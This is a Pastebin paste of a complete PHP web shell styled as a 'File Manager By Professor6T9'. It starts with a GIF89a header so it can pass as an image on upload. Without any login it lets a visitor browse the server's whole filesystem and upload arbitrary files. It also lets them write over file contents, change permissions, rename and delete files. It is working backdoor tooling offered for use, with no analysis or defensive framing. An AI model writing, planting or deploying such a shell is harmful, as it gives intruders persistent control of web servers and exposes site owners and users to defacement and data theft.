Advertisement
BFlashrev

file

Jun 6th, 2025
2,712
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. GIF89a
  2.  
  3. <?php
  4. /* GIF89a */
  5.  
  6. $home = $_SERVER['HOME'] ?? '/';
  7. $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
  8. if (!$path || !is_dir($path)) $path = getcwd();
  9. $uploadSuccess = false;
  10. $fileLink = '';
  11. $currentYear = date("Y");
  12. $editContent = '';
  13. $editTarget = '';
  14.  
  15. function h($str) { return htmlspecialchars($str, ENT_QUOTES); }
  16.  
  17. // Handle Upload
  18. if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  19.     if (isset($_FILES['upload'])) {
  20.         $dest = $path . '/' . basename($_FILES['upload']['name']);
  21.         if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) {
  22.             $uploadSuccess = true;
  23.             $fileLink = basename($dest);
  24.         }
  25.     } elseif (isset($_POST['chmod'], $_POST['file'])) {
  26.         chmod($path . '/' . $_POST['file'], intval($_POST['chmod'], 8));
  27.     } elseif (isset($_POST['savefile'], $_POST['filename'])) {
  28.         file_put_contents($path . '/' . $_POST['filename'], $_POST['savefile']);
  29.     } elseif (isset($_POST['rename'], $_POST['oldname'])) {
  30.         rename($path . '/' . $_POST['oldname'], $path . '/' . $_POST['rename']);
  31.     }
  32. }
  33.  
  34. // Handle Edit
  35. if (isset($_GET['edit'])) {
  36.     $editTarget = basename($_GET['edit']);
  37.     $editPath = $path . '/' . $editTarget;
  38.     if (is_file($editPath)) {
  39.         $editContent = htmlspecialchars(file_get_contents($editPath));
  40.     }
  41. }
  42.  
  43. // Handle Delete
  44. if (isset($_GET['delete'])) {
  45.     $target = $path . '/' . basename($_GET['delete']);
  46.     if (is_file($target)) {
  47.         unlink($target);
  48.         header("Location: ?path=" . urlencode($path));
  49.         exit;
  50.     }
  51. }
  52. ?>
  53. <!DOCTYPE html>
  54. <html>
  55. <head>
  56.     <meta charset="UTF-8">
  57.     <title>📁</title>
  58.     <style>
  59.         body { background: #111; color: #eee; font-family: monospace; padding: 20px; }
  60.         a { color: #6cf; text-decoration: none; }
  61.         a:hover { text-decoration: underline; }
  62.         table { width: 100%; border-collapse: collapse; margin-top: 15px; background: #1c1c1c; }
  63.         th, td { padding: 8px; border: 1px solid #333; text-align: left; }
  64.         th { background: #2a2a2a; }
  65.         input, button, textarea {
  66.             background: #222; color: #eee; border: 1px solid #444; padding: 5px;
  67.             border-radius: 4px; font-family: monospace;
  68.         }
  69.         button { background: #6cf; color: #000; font-weight: bold; cursor: pointer; }
  70.         .breadcrumb a { color: #ccc; margin-right: 5px; }
  71.         .breadcrumb span { color: #888; margin: 0 4px; }
  72.         .card { background: #1c1c1c; padding: 15px; border-radius: 8px; box-shadow: 0 0 10px #000; margin-top: 20px; }
  73.         textarea { width: 100%; height: 300px; margin-top: 10px; }
  74.         footer { text-align: center; margin-top: 40px; color: #666; font-size: 0.9em; }
  75.     </style>
  76.     <?php if ($uploadSuccess): ?>
  77.     <script>alert("✅ File uploaded successfully!");</script>
  78.     <?php endif; ?>
  79. </head>
  80. <body>
  81.  
  82. <h2>📁 File Manager By Professor6T9</h2>
  83.  
  84. <!-- Change Directory -->
  85. <form method="get">
  86.     <label>📂 Change Directory:</label>
  87.     <input type="text" name="path" value="<?= h($path) ?>" style="width:60%;">
  88.     <button type="submit">Go</button>
  89. </form>
  90.  
  91. <!-- Breadcrumbs -->
  92. <div class="breadcrumb">
  93.     <?php
  94.     $crumbs = explode('/', trim($path, '/'));
  95.     $accum = '';
  96.     echo '<a href="?path=/">/</a>';
  97.     foreach ($crumbs as $crumb) {
  98.         $accum .= '/' . $crumb;
  99.         echo '<span>/</span><a href="?path=' . urlencode($accum) . '">' . h($crumb) . '</a>';
  100.     }
  101.     echo '<span>/</span><a href="?path=' . urlencode($home) . '">[ HOME ]</a>';
  102.     ?>
  103. </div>
  104.  
  105. <!-- Parent Dir -->
  106. <?php if (dirname($path) !== $path): ?>
  107. <p><a href="?path=<?= urlencode(dirname($path)) ?>">⬅️ [ PARENT DIR ]</a></p>
  108. <?php endif; ?>
  109.  
  110. <!-- Upload -->
  111. <div class="card">
  112.     <form method="post" enctype="multipart/form-data">
  113.         <input type="file" name="upload" required>
  114.         <button type="submit">📤 Upload</button>
  115.     </form>
  116.     <?php if ($fileLink): ?>
  117.         <p><b>Link:</b> <a href="<?= h($fileLink) ?>" target="_blank"><?= h($fileLink) ?></a></p>
  118.     <?php endif; ?>
  119. </div>
  120.  
  121. <!-- Edit File -->
  122. <?php if ($editTarget): ?>
  123. <div class="card">
  124.     <form method="post">
  125.         <input type="hidden" name="filename" value="<?= h($editTarget) ?>">
  126.         <textarea name="savefile"><?= $editContent ?></textarea><br>
  127.         <button type="submit">💾 Save</button>
  128.     </form>
  129. </div>
  130. <?php endif; ?>
  131.  
  132. <!-- File List -->
  133. <div class="card">
  134.     <table>
  135.         <tr>
  136.             <th>Name</th><th>Size (kB)</th><th>Modified</th><th>Year</th><th>Perms</th><th>Actions</th>
  137.         </tr>
  138.         <?php
  139.         $items = scandir($path);
  140.         $dirs = $files = [];
  141.  
  142.         foreach ($items as $item) {
  143.             if ($item === '.') continue;
  144.             if (is_dir($path . '/' . $item)) {
  145.                 $dirs[] = $item;
  146.             } else {
  147.                 $files[] = $item;
  148.             }
  149.         }
  150.  
  151.         $all = array_merge($dirs, $files);
  152.  
  153.         foreach ($all as $item) {
  154.             $full = $path . '/' . $item;
  155.             $isDir = is_dir($full);
  156.             $perm = substr(sprintf('%o', fileperms($full)), -4);
  157.             $mtime = filemtime($full);
  158.             $size = $isDir ? '-' : round(filesize($full) / 1024, 2);
  159.             $year = date("Y", $mtime);
  160.             $date = date("Y-m-d H:i:s", $mtime);
  161.  
  162.             echo '<tr>';
  163.             echo '<td>';
  164.             echo $isDir ? '<a href="?path=' . urlencode($full) . '">📁 ' . h($item) . '</a>' : '📄 ' . h($item);
  165.             echo '</td>';
  166.             echo "<td>$size</td><td>$date</td><td>$year</td>";
  167.             echo '<td>
  168.                 <form method="post" style="display:inline;">
  169.                     <input type="hidden" name="file" value="' . h($item) . '">
  170.                     <input type="text" name="chmod" value="' . $perm . '" size="4">
  171.                     <button>Set</button>
  172.                 </form>
  173.             </td>';
  174.             echo '<td>';
  175.             if (!$isDir) {
  176.                 echo '<a href="?path=' . urlencode($path) . '&edit=' . urlencode($item) . '">✏️ Edit</a> | ';
  177.                 echo '<a href="?path=' . urlencode($path) . '&delete=' . urlencode($item) . '" onclick="return confirm(\'Delete?\')">🗑️</a> | ';
  178.                 echo '<a href="' . h($item) . '" download>⬇️</a> | ';
  179.                 echo '<form method="post" style="display:inline;">
  180.                         <input type="hidden" name="oldname" value="' . h($item) . '">
  181.                         <input type="text" name="rename" value="' . h($item) . '" size="10">
  182.                         <button>✏️</button>
  183.                     </form>';
  184.             } else {
  185.                 echo '-';
  186.             }
  187.             echo '</td></tr>';
  188.         }
  189.         ?>
  190.     </table>
  191. </div>
  192.  
  193. <footer>
  194. </footer>
  195.  
  196. </body>
  197. </html>
  198.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement